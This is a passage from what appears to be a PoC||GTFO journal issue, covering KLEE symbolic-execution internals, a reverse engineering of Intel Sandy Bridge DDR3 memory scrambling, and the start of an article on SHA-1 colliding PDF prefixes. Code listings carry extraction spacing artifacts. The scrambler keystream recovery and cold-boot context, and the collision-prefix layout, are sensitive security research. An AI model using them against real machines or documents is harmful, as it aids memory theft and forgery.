Executor::run(), which is the main method of
the class. This is where the set of states: added
states and removed states set are manipulated to
decide which state to visit next. Bear in mind that
nothing guarantees that next state in the Executor
class will be the next state in the current path.

Figure 26 shows all of the LLVM instructions
currently supported by KLEE.

• Call/Br/Ret: Control flow instructions.
These are cases where the program counter
(part of the state) may be modified by more
than just the size of the current instruction.
In the case of Call and Ret, a new ob-
ject StackFrame is created where local vari-
ables are bound to the called function and
destroyed on return. Defining new variables
may be achieved through the KLEE API
bindObjectInState().

• Add/Sub/Mul/*S*/U*/*Or*: The Signed and
Unsigned arithmetic instructions. The usual
suspects including bit shifting operations as
well.

• Cast operations (UItoFP, FPtoUI, IntToPtr,
PtrToInt, BitCast, etc.): used to convert
variables from one type to a variable of a dif-
ferent type.

• *Ext* instructions: these extend a variable to
use a larger number of bits, for example 8b
to 32b, sometimes carrying the sign bit or the
zero bit.

• F* instructions: the floating point arithmetic
instructions in KLEE. I dont myself do much

floating point analysis and I tend not to mod-
ify these cases, however this is where to look
if you’re interested in that.

• Alloca: used to allocate memory of a desired
size

• Load/Store: Memory access operations at a
given address

• GetElementPtr: perform array or structure
read/write at certain index

• PHI: This corresponds to the PHI function in
the Static Single Assignment form (SSA) as
defined in the literature.41

There are other instructions I am glossing over but
you can refer to the LLVM reference manual for an
exhaustive list.

So far the execution in KLEE has gone
through Executor::run() -> Executor::exe-
cuteInstruction() -> case ... but we have
not looked at what these cases actually do in
KLEE. This is handled by a class called the
ExecutionState that is used to represent the state
space.

ExecutionState Class

This class is declared in include/klee/Execution-
State.h and contains mostly two objects:

• AddressSpace: contains the list of all meta-
data for the process objects in this state,
including global, local, and heap objects.
The address space is basically made of an
array of objects and routines to resolve
concrete addresses to objects (via method
AddressSpace::resolveOne to resolve one
by picking up the first match, or method
AddressSpace::resolve for resolving to a
list of objects that may match). The
AddressSpace object also contains a concrete
store for objects where concrete values can
be read and written to. This is useful when
you’re tracking a symbolic variable but sud-
dently need to concretize it to make an ex-
ternal concrete function call in libc or some
other library that you haven’t linked into your
LLVM module.

41unzip pocorgtfo18.pdf cytron.pdf

52



1 $ grep −r n i ’ case I n s t r u c t i o n : : ’ l i b /Core/
l i b /Core/Executor . cpp : 2 4 5 2 : case I n s t r u c t i o n : : Ret : {

3 l i b /Core/Executor . cpp : 2 5 9 1 : case I n s t r u c t i o n : : Br : {
l i b /Core/Executor . cpp : 2 6 1 9 : case I n s t r u c t i o n : : Switch : {

5 l i b /Core/Executor . cpp : 2 7 3 1 : case I n s t r u c t i o n : : Unreachable :
l i b /Core/Executor . cpp : 2 7 3 9 : case I n s t r u c t i o n : : Invoke :

7 l i b /Core/Executor . cpp : 2 7 4 0 : case I n s t r u c t i o n : : Ca l l : {
l i b /Core/Executor . cpp : 2 9 8 7 : case I n s t r u c t i o n : : PHI : {

9 l i b /Core/Executor . cpp : 2 9 9 5 : case I n s t r u c t i o n : : S e l e c t : {
l i b /Core/Executor . cpp : 3 0 0 6 : case I n s t r u c t i o n : : VAArg :

11 l i b /Core/Executor . cpp : 3 0 1 2 : case I n s t r u c t i o n : : Add : {
l i b /Core/Executor . cpp : 3 0 1 9 : case I n s t r u c t i o n : : Sub : {

13 l i b /Core/Executor . cpp : 3 0 2 6 : case I n s t r u c t i o n : : Mul : {
l i b /Core/Executor . cpp : 3 0 3 3 : case I n s t r u c t i o n : : UDiv : {

15 l i b /Core/Executor . cpp : 3 0 4 1 : case I n s t r u c t i o n : : SDiv : {
l i b /Core/Executor . cpp : 3 0 4 9 : case I n s t r u c t i o n : :URem: {

17 l i b /Core/Executor . cpp : 3 0 5 7 : case I n s t r u c t i o n : : SRem: {
l i b /Core/Executor . cpp : 3 0 6 5 : case I n s t r u c t i o n : : And : {

19 l i b /Core/Executor . cpp : 3 0 7 3 : case I n s t r u c t i o n : : Or : {
l i b /Core/Executor . cpp : 3 0 8 1 : case I n s t r u c t i o n : : Xor : {

21 l i b /Core/Executor . cpp : 3 0 8 9 : case I n s t r u c t i o n : : Shl : {
l i b /Core/Executor . cpp : 3 0 9 7 : case I n s t r u c t i o n : : LShr : {

23 l i b /Core/Executor . cpp : 3 1 0 5 : case I n s t r u c t i o n : : AShr : {
l i b /Core/Executor . cpp : 3 1 1 5 : case I n s t r u c t i o n : : ICmp : {

25 l i b /Core/Executor . cpp : 3 2 0 7 : case I n s t r u c t i o n : : Al loca : {
l i b /Core/Executor . cpp : 3 2 2 1 : case I n s t r u c t i o n : : Load : {

27 l i b /Core/Executor . cpp : 3 2 2 6 : case I n s t r u c t i o n : : Store : {
l i b /Core/Executor . cpp : 3 2 3 4 : case I n s t r u c t i o n : : GetElementPtr : {

29 l i b /Core/Executor . cpp : 3 2 8 9 : case I n s t r u c t i o n : : Trunc : {
l i b /Core/Executor . cpp : 3 2 9 8 : case I n s t r u c t i o n : : ZExt : {

31 l i b /Core/Executor . cpp : 3 3 0 6 : case I n s t r u c t i o n : : SExt : {
l i b /Core/Executor . cpp : 3 3 1 5 : case I n s t r u c t i o n : : IntToPtr : {

33 l i b /Core/Executor . cpp : 3 3 2 4 : case I n s t r u c t i o n : : PtrToInt : {
l i b /Core/Executor . cpp : 3 3 3 4 : case I n s t r u c t i o n : : BitCast : {

35 l i b /Core/Executor . cpp : 3 3 4 3 : case I n s t r u c t i o n : : FAdd : {
l i b /Core/Executor . cpp : 3 3 5 8 : case I n s t r u c t i o n : : FSub : {

37 l i b /Core/Executor . cpp : 3 3 7 2 : case I n s t r u c t i o n : : FMul : {
l i b /Core/Executor . cpp : 3 3 8 7 : case I n s t r u c t i o n : : FDiv : {

39 l i b /Core/Executor . cpp : 3 4 0 2 : case I n s t r u c t i o n : : FRem: {
l i b /Core/Executor . cpp : 3 4 1 7 : case I n s t r u c t i o n : : FPTrunc : {

41 l i b /Core/Executor . cpp : 3 4 3 4 : case I n s t r u c t i o n : : FPExt : {
l i b /Core/Executor . cpp : 3 4 5 0 : case I n s t r u c t i o n : : FPToUI : {

43 l i b /Core/Executor . cpp : 3 4 6 7 : case I n s t r u c t i o n : : FPToSI : {
l i b /Core/Executor . cpp : 3 4 8 4 : case I n s t r u c t i o n : : UIToFP : {

45 l i b /Core/Executor . cpp : 3 5 0 0 : case I n s t r u c t i o n : : SIToFP : {
l i b /Core/Executor . cpp : 3 5 1 6 : case I n s t r u c t i o n : :FCmp: {

47 l i b /Core/Executor . cpp : 3 6 0 8 : case I n s t r u c t i o n : : In se r tVa lue : {
l i b /Core/Executor . cpp : 3 6 3 5 : case I n s t r u c t i o n : : ExtractValue : {

49 l i b /Core/Executor . cpp : 3 6 4 5 : case I n s t r u c t i o n : : Fence : {
l i b /Core/Executor . cpp : 3 6 4 9 : case I n s t r u c t i o n : : InsertElement : {

51 l i b /Core/Executor . cpp : 3 6 9 1 : case I n s t r u c t i o n : : ExtractElement : {
l i b /Core/Executor . cpp : 3 7 2 4 : case I n s t r u c t i o n : : Shu f f l eVec to r :

Figure 26. LLVM Instructions supported by KLEE
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• ConstraintManager: contains the list of all
symbolic constraints available in this state. By
default, KLEE stores all path conditions in the
constraint manager for that state, but it can
also be used to add more constraints of your
choice. Not all objects in the AddressSpace
may be subject to constraints, which is left to
the discretion of the KLEE programmer. Ver-
ifying that these constraints are satisfiable can
be done by calling solver->mustBeTrue() or
solver->MayBeTrue() methods, which is a
solver-independent API provided in KLEE to
call SMT or Z3 independently of the low-level
solver API. This comes handy when you want
to check the feasibility of certain variable val-
ues during analysis.

Every time the ::fork() method is called,
one execution state is split into two where pos-
sibly more constraints or different values have
been inserted in these objects. One may call the
Executor::branch() method directly to create a
new state from the existing state without creating
a state pair as fork would do. This is useful when
you only want to add a subcase without following
the exact fork expectations.

Executor::executeMemoryOperation(),
MemoryObject and ObjectState
Two important classes in KLEE are MemoryObject
and ObjectState, both defined in lib/klee/-
Core/Memory.h.

The MemoryObject class is used to represent
an object such as a buffer that has a base ad-
dress and a size. When accessing such an object,
typically via the Executor::executeMemoryOper-
ation() method, KLEE automatically ensures that
accesses are in bound based on known base address,
desired offset, and object size information. The
MemoryObject class provides a few handy methods:
( . . . )
r e f <ConstantExpr> getBaseExpr ( )
r e f <ConstantExpr> getSizeExpr ( )
r e f <Expr> getOf f se tExpr ( r e f <Expr> po in t e r )
r e f <Expr> getBoundsCheckPointer (

r e f <Expr> po in t e r )
r e f <Expr> getBoundsCheckPointer (

r e f <Expr> pointer , unsigned bytes )
r e f <Expr> getBoundsCheckOffset (

r e f <Expr> o f f s e t )
r e f <Expr> getBoundsCheckOffset (

r e f <Expr> o f f s e t , unsigned bytes )

Using these methods, checking for boundary con-
ditions is child’s play. It becomes more interesting
when symbolics are used as the conditions that must
be checked involves more than constants, depending
on whether the base address, the offset or the index
are symbolic values (or possibly depending on the
source data for certain analyses, for example taint
analysis).

While the MemoryObject somehow takes care of
the spatial integrity of the object, the ObjectState
class is used to access the memory value itself in the
state. Its most useful methods are:

// return by t e s read .
r e f <Expr> read ( r e f <Expr> o f f s e t ,

Expr : : Width width ) ;
r e f <Expr> read (unsigned o f f s e t ,

Expr : : Width width ) ;
r e f <Expr> read8 (unsigned o f f s e t ) ;

// return by t e s wr i t t en .
void wr i t e (unsigned o f f s e t ,

r e f <Expr> value ) ;
void wr i t e ( r e f <Expr> o f f s e t ,

r e f <Expr> value ) ;
void wr i te8 (unsigned o f f s e t ,

uint8_t value ) ;
void wri te16 (unsigned o f f s e t ,

uint16_t value ) ;
void wri te32 (unsigned o f f s e t ,

uint32_t value ) ;
void wri te64 (unsigned o f f s e t ,

uint64_t value ) ;

Objects can be either concrete or symbolic, and
these methods implement actions to read or write
the object depending on this state. One can switch
from concrete to symbolic state by using methods:

void makeConcrete ( ) ;
void makeSymbolic ( ) ;

These methods will just flush symbolics if we
become concrete, or mark all concrete variables as
symbolics from now on if we switch to symbolic
mode. Its good to play around with these meth-
ods to see what happens when you write the value
of a variable, or make a new variable symbolic and
so on.

When Instruction::Load and ::Store are
encountered, the Executor::executeMemory-
Operation() method is called where symbolic
array bounds checking is implemented. This
implementation uses a mix of MemoryObject,
ObjectState, AddressSpace::resolveOne() and
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MemoryObject::getBoundsCheckOffset() to fig-
ure out whether any overflow condition can happen.
If so, it calls KLEE’s internal API Executor::-
terminateStateOnError() to signal the memory
safety issue and terminate the current state. Sym-
bolic execution will then resume on other states so
that KLEE does not stop after the first bug it finds.
As it finds more errors, KLEE saves the error lo-
cations so it won’t report the same bugs over and
over.

Special Function Handlers

A bunch of special functions are defined in KLEE
that have special handlers and are not treated
as normal functions. See lib/Core/SpecialFun-
ctionHandler.cpp.

Some of these special functions are called from
the Executor::executeInstruction() method in
the case of the Instruction::Call instruction.

All the klee_* functions are internal KLEE
functions which may have been produced by anno-
tations given by the KLEE analyst. (For example,
you can add a klee_assume(p) somewhere in the
analyzed program’s code to say that p is assumed
to be true, thereby some constraints will be pushed
into the ConstraintManager of the currenet state
without checking them.) Other functions such as
malloc, free, etc. are not treated as normal function
in KLEE. Because the malloc size could be sym-
bolic, KLEE needs to concretize the size according
to a few simplistic criteria (like size = 0, size =
28, size = 216, etc.) to continue making progress.
Suffice to say this is quite approximate.

This logic is implemented in the
Executor::executeAlloc() and ::executeFree()
methods. I have hacked around some modifications
to track the heap more precisely in KLEE, how-
ever bear in mind that KLEE’s heap as well as the
target program’s heap are both maintained within
the same address space, which is extremely intru-
sive. This makes KLEE a bad framework for layout
sensitive analysis, which many exploit generation
problems require nowadays. Other special functions
include stubs for Address Sanitizer (ASan), which
is now included in LLVM and can be enabled while
creating LLVM code with clang. ASan is mostly use-
ful for fuzzing so normally invisible corruptions turn

into visible assertions. KLEE does not make much
use of these stubs and mostly generate a warning if
you reach one of the ASan-defined stubs.

Other recent additions were klee_open_merge()
and klee_close_merge() that are an annotation
mechanism to perform selected merging in KLEE.
Merging happens when you come back from a con-
ditional contruct (e.g., switch, or when you must
define whether to continue or break from a loop) as
you must select which constraints and values will
hold in the state immediately following the merge.
KLEE has some interesting merging logic imple-
mented in lib/Core/MergeHandler.cpp that are
worth taking a look at.

Experiment with KLEE for yourself!
I did not go much into details of how to install KLEE
as good instructions are available onine.42 Try it for
yourself!

I personally use LLVM 3.4 mostly but KLEE also
supports LLVM 3.5 reliably, although as far as I
know 3.4 is still recommended.

My setup is an amd64 machine on Ubuntu 16.04
that has most of what you will need in packages. I
recommend building LLVM and KLEE from sources
as well as all dependencies (e.g., Z343 and/or STP44)
that will help you avoid weird symbol errors in your
experiments.

A good first target to try KLEE on is coreutils,
which is what prettty much everybody uses in their
research papers evaluation nowadays. Coreutils is
well tested so new bugs in it are scarce, but its good
to confirm everything works okay for you. A tuto-
rial on how to run KLEE on coreutils is available as
part of the project website.45

I personally used KLEE on various targets: core-
utils, busybox, as well as other standard network
tools that take input from untrusted data. These
will require a standalone research paper explaining
how KLEE can be used to tackle these targets.

42http://klee.github.io/build-llvm34/
43unzip pocorgtfo18.pdf z3.pdf
44unzip pocorgtfo18.pdf stp.pdf
45http://klee.github.io/docs/coreutils-experiments/
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$ grep −in add\( l i b /Core/ Spec ia lFunct ionHandler . cpp
2 66:# de f i n e add (name , handler , r e t ) { name , \

81 : add ( " c a l l o c " , handleCal loc , t rue ) ,
4 82 : add ( " f r e e " , handleFree , f a l s e ) ,

83 : add ( "klee_assume" , handleAssume , f a l s e ) ,
6 84 : add ( "klee_check_memory_access" , handleCheckMemoryAccess , f a l s e ) ,

85 : add ( " klee_get_valuef " , handleGetValue , t rue ) ,
8 86 : add ( "klee_get_valued" , handleGetValue , t rue ) ,

87 : add ( " klee_get_value l " , handleGetValue , t rue ) ,
10 88 : add ( " k l ee_get_va lue l l " , handleGetValue , t rue ) ,

89 : add ( "klee_get_value_i32" , handleGetValue , t rue ) ,
12 90 : add ( "klee_get_value_i64" , handleGetValue , t rue ) ,

91 : add ( " k lee_def ine_f ixed_object " , handleDef ineFixedObject , f a l s e ) ,
14 92 : add ( " klee_get_obj_size " , handleGetObjSize , t rue ) ,

93 : add ( " klee_get_errno " , handleGetErrno , t rue ) ,
16 94 : add ( " klee_is_symbol ic " , handleIsSymbol ic , t rue ) ,

95 : add ( "klee_make_symbolic" , handleMakeSymbolic , f a l s e ) ,
18 96 : add ( "klee_mark_global " , handleMarkGlobal , f a l s e ) ,

97 : add ( "klee_open_merge" , handleOpenMerge , f a l s e ) ,
20 98 : add ( "klee_close_merge " , handleCloseMerge , f a l s e ) ,

99 : add ( " klee_prefer_cex " , handlePreferCex , f a l s e ) ,
22 100 : add ( " klee_posix_prefer_cex " , handlePosixPreferCex , f a l s e ) ,

101 : add ( " klee_print_expr " , handlePrintExpr , f a l s e ) ,
24 102 : add ( " klee_print_range " , handlePrintRange , f a l s e ) ,

103 : add ( " k lee_set_fork ing " , handleSetForking , f a l s e ) ,
26 104 : add ( " klee_stack_trace " , handleStackTrace , f a l s e ) ,

105 : add ( "klee_warning" , handleWarning , f a l s e ) ,
28 106 : add ( "klee_warning_once" , handleWarningOnce , f a l s e ) ,

107 : add ( " k l e e_a l i a s_funct i on " , handleAl iasFunct ion , f a l s e ) ,
30 108 : add ( "mal loc " , handleMalloc , t rue ) ,

109 : add ( " r e a l l o c " , handleReal loc , t rue ) ,
32 112 : add ( " xmalloc " , handleMalloc , t rue ) ,

113 : add ( " x r e a l l o c " , handleReal loc , t rue ) ,
34 116 : add ( "_ZdaPv" , handleDeleteArray , f a l s e ) ,

118 : add ( "_ZdlPv" , handleDelete , f a l s e ) ,
36 121 : add ( "_Znaj" , handleNewArray , t rue ) ,

123 : add ( "_Znwj" , handleNew , t rue ) ,
38 128 : add ( "_Znam" , handleNewArray , t rue ) ,

130 : add ( "_Znwm" , handleNew , t rue ) ,
40 134 : add ( "__ubsan_handle_add_overflow" , handleAddOverflow , f a l s e ) ,

135 : add ( "__ubsan_handle_sub_overflow" , handleSubOverflow , f a l s e ) ,
42 136 : add ( "__ubsan_handle_mul_overflow" , handleMulOverflow , f a l s e ) ,

137 : add ( "__ubsan_handle_divrem_overflow" , handleDivRemOverflow , f a l s e ) ,
44 jvanegue@llvmlab1 :~/ hk lee$

Figure 27. KLEE Special Function Handlers
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Symbolic Heap Execution in KLEE

For heap analysis, it appears that KLEE has a
strong limitation of where heap chunks for KLEE
as well as for the target program are maintained
in the same address space. One would need to in-
troduce an allocator proxy46 if we wanted to track
any kind of heap layout fidelity for heap prediction
purpose. There are spatial issues to consider there
as symbolic heap size may lead to heap state space
explosion, so more refined heap management may
be required. It may be that other tools relying on
selective symbolic execution (S2E)47 may be more
suitable for some of these problems.

Analyzing Distributed Applications.

These are more complex use-cases where KLEE
must be modified to track state across distributed
component.48 Several industrially-sized programs
use databases and key-value stores and it is inter-
esting to see what symbolic execution model can be
defined for those. This approach has been applied
to distributed sensor networks and could also be ex-
perimented on distributed software in the cloud.

You can either obtain LLVM code by compiling
with the clang compiler (3.4 for KLEE) or use a
decompiler like McSema49 and its ReMill library.

There are enough success stories to validate sym-
bolic execution as a practical technology; I encour-
age you to come up with your own experiments, to
figure out what is missing in KLEE to make it work
for you. Getting familiar with every corner cases of
KLEE can be very time consuming, so an approach
of “least modification” is typically what I follow.

Beware of restricting yourself to artificial test
suites as, beyond their likeness to real world code,
they do not take into account all the environmental
dependencies that a real project might have. A typ-
ical example is that KLEE does not support inline
assembly. Another is the heap intrusiveness previ-
ously mentioned. These limitations might turn a
golden technique like symbolic execution into a vac-
uous technology if applied to a bad target.

I leave you to that. Have fun and enjoy!

—Julien

46unzip pocorgtfo18.pdf nextgendebuggers.pdf
47unzip pocorgtfo18.pdf s2e.pdf
48unzip pocorgtfo18.pdf kleenet.pdf
49git clone https://github.com/trailofbits/mcsema
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18:09 Memory Scrambling on Intel Sandy Bridge DDR3
by Nico Heijningen

Humble greetings neighbors,

I reverse engineered part of the memory scram-
bling included in Intel’s Sandy/Ivy Bridge proces-
sors. I have distilled my research in a PoC that can
reproduce all 218 possible 1,024 byte scrambler se-
quences from a 1,026 bit starting state.50

For a while now Intel’s memory controllers in-
clude memory scrambling functionality. Intel’s doc-
umentation explains the benefits of scrambling the
data before it is written to memory for reduc-
ing power spikes and parasitic coupling.51 Prior
research on the topic52 53 quotes different Intel
patents.54

Furthermore, some details can be deduced by
cross-referencing datasheets of other architectures55,
for example the scrambler is initialized with a ran-
dom 18 bit seed on every boot; the SCRMSEED.
Other than this nothing is publicly known or docu-
mented by Intel. The prior work shows that scram-
bled memory can be descrambled, yet newer versions
of the scrambler seem to raise the bar, together with
prospects of full memory encryption.56 While the
scrambler has never been claimed to provide any
cryptographic security, it is still nice to know how
the scrambling mechanism works.

Not much is known as to the internals of the
memory scrambler, Intel’s patents discuss the use
of LFSRs and the work of Bauer et al. has mod-
eled the scrambler as a stream cipher with a short
period. Hence the possibility of a plaintext attack
to recover scrambled data: if you know part of the
memory content you can obtain the cipher stream by
XORing the scrambled memory with the plaintext.
Once you know the cipher stream you can repeti-
tively XOR this with the scrambled data to obtain
the original unscrambled data.

 
Data

Feedback bit
 

Output bits / PRBS

State

Scrambled data

1 0 1 0

An analysis of the properties of the cipher stream
has to our knowledge never been performed. Here
I will describe my journey in obtaining the cipher
stream and analyzing it.

First we set out to reproduce the work of Bauer
et al.: by performing a cold-boot attack we were
able to obtain a copy of memory. However, because
this is quite a tedious procedure, it is troublesome
to profile different scrambler settings. Bauer’s work
is built on ‘differential’ scrambler images: scram-
bled with one SCRMSEED and descrambled with
another. The data obtained by using the procedure
of Bauer et al. contains some artifacts because of
this.

We found that it is possible to disable the mem-
ory scrambler using an undocumented Intel register
and used coreboot to set it early in the boot pro-
cess. We patched coreboot to try and automate
the process of profiling the scrambler. We chose
the Sandy Bride platform as both Bauer et al.’s
work was based on it and because coreboot’s mem-
ory initialization code has been reverse engineered
for the platform.57 Although coreboot builds out-
of-the-box for the Gigabyte GA-B75M-D3V moth-
erboard we used, coreboot’s makefile ecosystem is
quite something to wrap your head around. The
code contains some lines dedicated to the memory
scrambler, setting the scrambling seed or SCRM-
SEED. I patched the code in Figure 28 to disable the

50unzip pocorgtfo18.pdf IntelMemoryScrambler.zip
51See for example Intel’s 3rd generation processor family datasheet section 2.1.6 Data Scrambling.
52Johannes Bauer, Michael Gruhn, and Felix C. Freiling. “Lest we forget: Cold-boot attacks on scrambled DDR3 memory.”

In: Digital Investigation 16 (2016), S65–S74.
53Yitbarek, Salessawi Ferede, et al. “Cold Boot Attacks are Still Hot: Security Analysis of Memory Scramblers in Modern

Processors.” High Performance Computer Architecture (HPCA), 2017 IEEE International Symposium on. IEEE, 2017.
54USA Patents 7945050, 8503678, and 9792246.
55See 24.1.45 DSCRMSEED of N-series Intel R© Pentium R© Processors and Intel R© Celeron R© Processors Datasheet – Volume

2 of 3, February 2016
56Both Intel and AMD have introduced their flavor of memory encryption.
57For most platforms the memory initialization code is only available as an blob from Intel.
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3784 stat ic void set_scrambling_seed ( ramctr_timing ∗ c t r l )
{

3786 int channel ;

3788 /∗ FIXME: we hardcode seeds . Do we need to use some PRNG for them?
I don ’ t t h ink so . ∗/

3790 stat ic u32 seeds [NUM_CHANNELS] [ 3 ] = {
{0x00009a36 , 0 xba f c fdc f , 0x46d1ab68 } ,

3792 {0 x00028bfa , 0 x53fe4b49 , 0x19ed5483}
} ;

3794 FOR_ALL_POPULATED_CHANNELS {
MCHBAR32(0 x4020 + 0x400 ∗ channel ) &= ~0x10000000 ;

3796 wr i te32 (DEFAULT_MCHBAR + 0x4034 , s eeds [ channel ] [ 0 ] ) ;
wr i te32 (DEFAULT_MCHBAR + 0x403c , s eeds [ channel ] [ 1 ] ) ;

3798 wr i te32 (DEFAULT_MCHBAR + 0x4038 , s eeds [ channel ] [ 2 ] ) ;
}

3800 }

Figure 28. Coreboot’s Scrambling Seed for Sandy Bridge

memory scrambler, write all zeroes to memory, reset
the machine, enable the memory scrambler with a
specific SCRMSEED, and print a specific memory
region to the debug console. (COM port.) This way
we are able to obtain the cipher stream for differ-
ent SCRMSEEDs. For example when writing eight
bytes of zeroes to the memory address starting at
0x10000070 with the scrambler disabled, we read 3A
E0 9D 70 4E B8 27 5C back from the same address
once the PC is reset and the scrambler is enabled.
We know that that’s the cipher stream for that mem-
ory region. A reset is required as the SCRMSEED
can no longer be changed nor the scrambler disabled
after memory initialization has finished. (Registers
need to be locked before the memory can be initial-
ized.)

Now some leads by Bauer et al. based on the
Intel patents quickly led us in the direction of ana-
lyzing the cipher stream as if it were the output of
an LFSR. However, taking a look at any one of the
cipher stream reveals a rather distinctive usage of
a LFSR. It seems as if the complete internal state
of the LFSR is used as the cipher stream for three
shifts, after which the internal state is reset into a
fresh starting state and shifted three times again.
(See Figure 29.)

00111010 11100000
10011101 01110000
01001110 10111000
00100111 01011100

It is interesting to note that a feedback bit is
being shifted in on every clocktick. Typically only
the bit being shifted out of the LFSR would be used
as part of the ‘random’ cipher stream being gener-
ated, instead of the LFSR’s complete internal state.
The latter no longer produces a random stream of
data, the consequences of this are not known but it
is probably done for performance optimization.

These properties could suggest multiple con-
structions. For example, layered LFSRs where one
LFSR generates the next LFSR’s starting state, and
part of the latter’s internal state being used as out-
put. However, the actual construction is unknown.
The number of combined LFSRs is not known, nei-
ther is their polynomial (positions of the feedback
taps), nor their length, nor the manner in which
they’re combined.

Normally it would be possible to deduce such
information by choosing a typical length, e.g. 16-
bit, LFSR and applying the Berlekamp Massey al-
gorithm. The algorithm uses the first 16-bits in the
cipher stream and deduces which polynomials could
possibly produce the next bits in the cipher stream.
However, because of the previously described un-
knowns this leads us to a dead end. Back to the
drawing board!

Automating the cipher stream acquisition by
also patching coreboot to parse input from the serial
console we were able to dynamically set the SCRM-
SEED, then obtain the cipher stream. Writing a
Python script to control the PC via a serial cable en-
abled us to iterate all 218 possible SCRMSEEDs and
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06 38 83 1C C1 8E 60 C7  E2 20 F1 10 F8 88 7C 44 
86 5A C3 2D 61 96 30 CB  E1 68 70 B4 B8 5A 5C 2D 
D6 D8 EB 6C 75 B6 3A DB  50 F2 28 79 94 3C 4A 1E 
3A E0 9D 70 4E B8 27 5C  37 80 1B C0 0D E0 06 F0 

LFSR stretch

00111010 11100000 10011101 01110000 01001110 10111000 00100111 01011100

Figure 29. Keyblock

save their accompanying 1024 byte cipher streams.
Acquiring all cipher streams took almost a full week.
This data now allowed us to try and find relations
between the SCRMSEED and the produced cipher
stream. Stated differently, is it possible to reproduce
the scrambler’s working by using less than 218×1024
bytes?

This analysis was eased once we stumbled upon
a patent describing the use of the memory bus
as a high speed interconnect, under the name of
TeraDIMM.58 Using the memory bus as such, one
would only receive scrambled data on the other end,
hence the data needs to be descrambled. The au-
thors give away some of their knowledge on the sub-
ject: the cipher stream can be built from XORing
specific regions of the stream together. This insight
paved the way for our research into the memory
scrambling.

The main distinction that the TeraDIMM patent
makes is the scrambling applied is based on four
bits of the memory address versus the scrambling
based on the (18-bit) SCRMSEED. Both the mem-
ory address- and SCRMSEED-based scrambling are
used to generate the cipher stream 64 byte blocks
at a time.59 Each 64 byte cipher-stream-block is a
(linear) combination of different blocks of data that
are selected with respect to the bits of the memory
address. See Figure 30.

Because the address-based scrambling does not
depend on the SCRMSEED, this is canceled out in
the differential images obtained by Bauer. This is
how far the TeraDIMM patent takes us; however,
with this and our data in mind it was easy to see
that the SCRMSEED based scrambling is also built
up by XORing blocks together. Again depending on
the bits of the SCRMSEED set, different blocks are

XORed together.
Hence, to reproduce any possible cipher stream

we only need four such blocks for the address scram-
bling, and eighteen blocks for the SCRMSEED
scrambling. We have named the eighteen SCRM-
SEEDs that produce the latter blocks the (SCRM-
SEED) toggleseeds. We’ll leave the four address
scrambling blocks for now and focus on the toggle-
seeds.

The next step in distilling the redundancy in the
cipher stream is to exploit the observation that for
specific toggleseeds parts of the 64 byte blocks over-
lap in a sequential manner. (See Figure 32.) The
18 toggleseeds can be placed in four groups and any
block of data associated with the toggleseeds can be
reproduced by picking a different offset in the non-
redundant stream of one of the four groups. Go-
ing back from the overlapping stream to the cipher
stream of SCRMSEED 0x100 we start at an offset
of 16 bytes and take 64 bytes, obtaining 00 30 80
... 87 b7 c3.

58US Patent 8713379.
59This is the largest amount of data that can be burst over the DDR3 bus.
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Figure 30. TeraDIMM Scrambling

overlappingstream( z )




0 0 0 0 1 1 0 0 0 0 0 0

0 0 0 0 0 1 1 0 0 0 0 0

0 0 0 0 0 0 1 1 0 0 0 0

0 0 0 0 0 0 0 1 1 0 0 0

0 0 0 0 0 0 0 0 1 1 0 0

0 0 0 0 0 0 0 0 0 1 1 0

0 0 0 0 0 0 0 0 0 0 1 1

0 0 0 1 0 0 0 0 0 0 1 1

0 0 0 1 1 0 0 0 0 0 1 1

0 0 0 1 1 1 0 0 0 0 1 1

0 0 0 1 1 1 1 0 0 0 1 1

0 0 0 1 1 1 1 1 0 0 1 1






•


stretch0

stretch1

stretch2

stretch3

stretch4

stretch5

stretch6

stretch7

stretch8

stretch9

stretch10

stretch11




Figure 31. Scrambler Matrix

Finally, the overlapping streams of two of the
four groups can be used to define the other two;
by combining specific eight byte stretches i.e., mul-
tiplying the stream with a static matrix. For ex-
ample, to obtain the first stretch of the overlapping
stream of SCRMSEEDs 0x4, 0x10, 0x100, 0x1000,
and 0x10000 we combine the fifth and the sixth
stretch of the overlapping stream of SCRMSEEDs
0x1, 0x40, 0x400, and 0x4000. That is 20 00
10 00 08 00 04 00 = 00 01 00 00 00 00 00 00
ˆ 20 01 10 00 08 00 04 00. The matrix is the
same between the two groups and provided in Fig-
ure 31. One is invited to verify the correctness of
that figure using Figure 32.

Some future work remains to be done. We pos-
tulate the existence of a mathematical basis to these
observations, but a nice mathematical relationship
underpinning the observations is yet to be found.
Any additional details can be found in my TUE the-
sis.60

60unzip pocorgtfo18.pdf heijningen-thesis.pdf
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18:10 Easy SHA-1 Colliding PDFs with PDFLaTeX.
by Ange Albertini

In the summer of 2015, I worked with Marc
Stevens on the re-usability of a SHA1 collision: de-
termining a prefix could enable us to craft an infinite
amount of valid PDF pairs, with arbitrary content
with a SHA-1 collision.
000:
010:
020:
030:
040:
050:
060:
070:
080:
090:
0a0:
0b0:
0c0:

.% .P .D .F .- .1 .. .3 \n .% E2 E3 CF D3 \n \n
\n .1    .0    .o .b .j \n .< .< ./ .W .i .d .t
.h    .2    .0    .R ./ .H .e .i .g .h .t    .3
   .0    .R ./ .T .y .p .e    .4    .0    .R ./
.S .u .b .t .y .p .e    .5    .0    .R ./ .F .i
.l .t .e .r    .6    .0    .R ./ .C .o .l .o .r
.S .p .a .c .e    .7    .0    .R ./ .L .e .n .g
.t .h    .8    .0    .R ./ .B .i .t .s .P .e .r
.C .o .m .p .o .n .e .n .t    .8 .> .> \n .s .t
.r .e .a .m \n FF D8 FF FE 00 24 .S .H .A .- .1
   .i .s    .d .e .a .d .! .! .! .! .! 85 2F EC
09 23 39 75 9C 39 B1 A1 C6 3C 4C 97 E1 FF FE 01
??

The first SHA-1 colliding pair of PDF files were
released in February 2017.61 I documented the pro-
cess and the result in my “Exploiting hash collisions”
presentation.

The resulting prefix declares a PDF, with a PDF
object declaring an image as object 1, with refer-
ences to further objects 2–8 in the file for the prop-
erties of the image:

PDF signature
non-ASCII marker
object declaration

image object properties

stream content start
JPEG Start Of Image

JPEG comment
hidden death statement

randomization buffer
JPEG comment

start of collision block

%PDF-1.3
%âãÏÓ
1 0 obj
<</Width 2 0 R/Height 3 0 R/Type 4 0 R
  /Subtype 5 0 R/Filter 6 0 R
  /ColorSpace 7 0 R/Length 8 0 R
  /BitsPerComponent 8>>
stream
 FF D8
  FF FE 00 24
   SHA-1 is dead!!!

85 2F .. .. 97 E1
  FF FE 01
           ??

000:
009:
011:
019:

08e:
095:
097:
09b:
0ad:
0bd:
0c0:

length: 36

length: 01??

byte with a xor
difference of 0x0C

